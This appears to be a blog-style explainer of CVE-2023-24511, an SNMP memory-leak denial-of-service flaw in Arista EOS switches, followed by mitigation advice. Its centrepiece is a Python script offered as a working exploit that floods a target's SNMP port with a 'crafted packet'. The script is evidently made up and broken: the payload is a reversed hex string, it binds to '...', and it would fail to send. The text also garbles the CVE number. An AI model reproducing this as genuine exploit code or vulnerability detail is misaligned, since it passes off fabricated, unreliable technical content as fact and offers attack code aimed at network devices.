In this long read, we'll be examining the details of the CVE-2023-24511 vulnerability, a memory leak present in the Arista EOS (Extensible Operating System) platforms where SNMP (Simple Network Management Protocol) is configured. Arista EOS is the company's network operating system used by its Ethernet switches and certain cloud networking components.

A memory leak occurs when a process (such as snmpd, the SNMP daemon) fails to release all allocated memory when it finishes its tasks. Over time, this can cause degraded performance or even instability within the affected system. CVE-202320-24511 vulnerability has a potential "low" impact since it does not compromise confidentiality or integrity. However, it can cause a denial of service (DoS) scenario if exploited properly.

We'll be discussing the exploitation techniques, which will show how a specially crafted packet can cause the snmpd process to be terminated, the possible consequences associated with this vulnerability, and how to mitigate the potential damage.

The Original Reference

The original details of this vulnerability can be found in the Common Vulnerabilities and Exposures (CVE) database entry:
- CVE-2023-24511

Exploitation Details

The CVE-2023-24511 vulnerability can be exploited by an attacker using a "specially crafted packet" sent to the affected platforms. This packet would trigger the memory leak in the snmpd process, which would ultimately lead to denial of service (DoS).

The following sample Python script demonstrates how to create and send such a packet via SNMP

import socket
import struct

TARGET_IP = '192.168.1.1'  # Replace with the target's IP address
SNMP_PORT = 161
SRC_PORT = 12345

# Craft a sample packet
packet = str('0302000100000201000404deadbeef04003081')[::-1] * 10

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('...', SRC_PORT))

# Send the crafted packet
sock.sendto(packet, (TARGET_IP, SNMP_PORT))
sock.close()

Once the crafted packet is sent, it may lead to the termination of the snmpd process, causing SNMP requests to time out. The process may restart automatically, but memory resource exhaustion for other processes on the switch may still occur, resulting in potential instability or degraded performance of the system.

Mitigation Steps

Arista has acknowledged the vulnerability and has provided a security advisory outlining the remediation actions:

https://www.arista.com/en/support/advisories-notices/security-ado1930001

The following are mitigation steps you can take to reduce the impact of the CVE-2023-24511 vulnerability:

1. Upgrade: Arista recommends updating the EOS software to versions 4.24.6M, 4.25.1F, or later, as they have fixed the vulnerability in these releases. You can find the upgrade steps and required files in the advisory (linked above).

2. Access Control: Ensure that only authorized users and applications can interact with your networking devices. This can be achieved by implementing strict access control policies on your network.

3. Monitoring: Regularly monitor your network traffic for unusual or suspicious activity, which may be indicative of an ongoing attack or intrusion attempt.

Summary

CVE-2023-24511 is a memory leak vulnerability affecting Arista EOS platforms with SNMP configured. Exploitation may lead to a denial of service (DoS) scenario, but confidentiality and integrity are not compromised. To mitigate potential risks, it's essential to keep your networking devices updated with the latest software patches and diligently manage access controls.

Timeline

Published on: 04/12/2023 21:15:00 UTC
Last modified on: 04/21/2023 14:27:00 UTC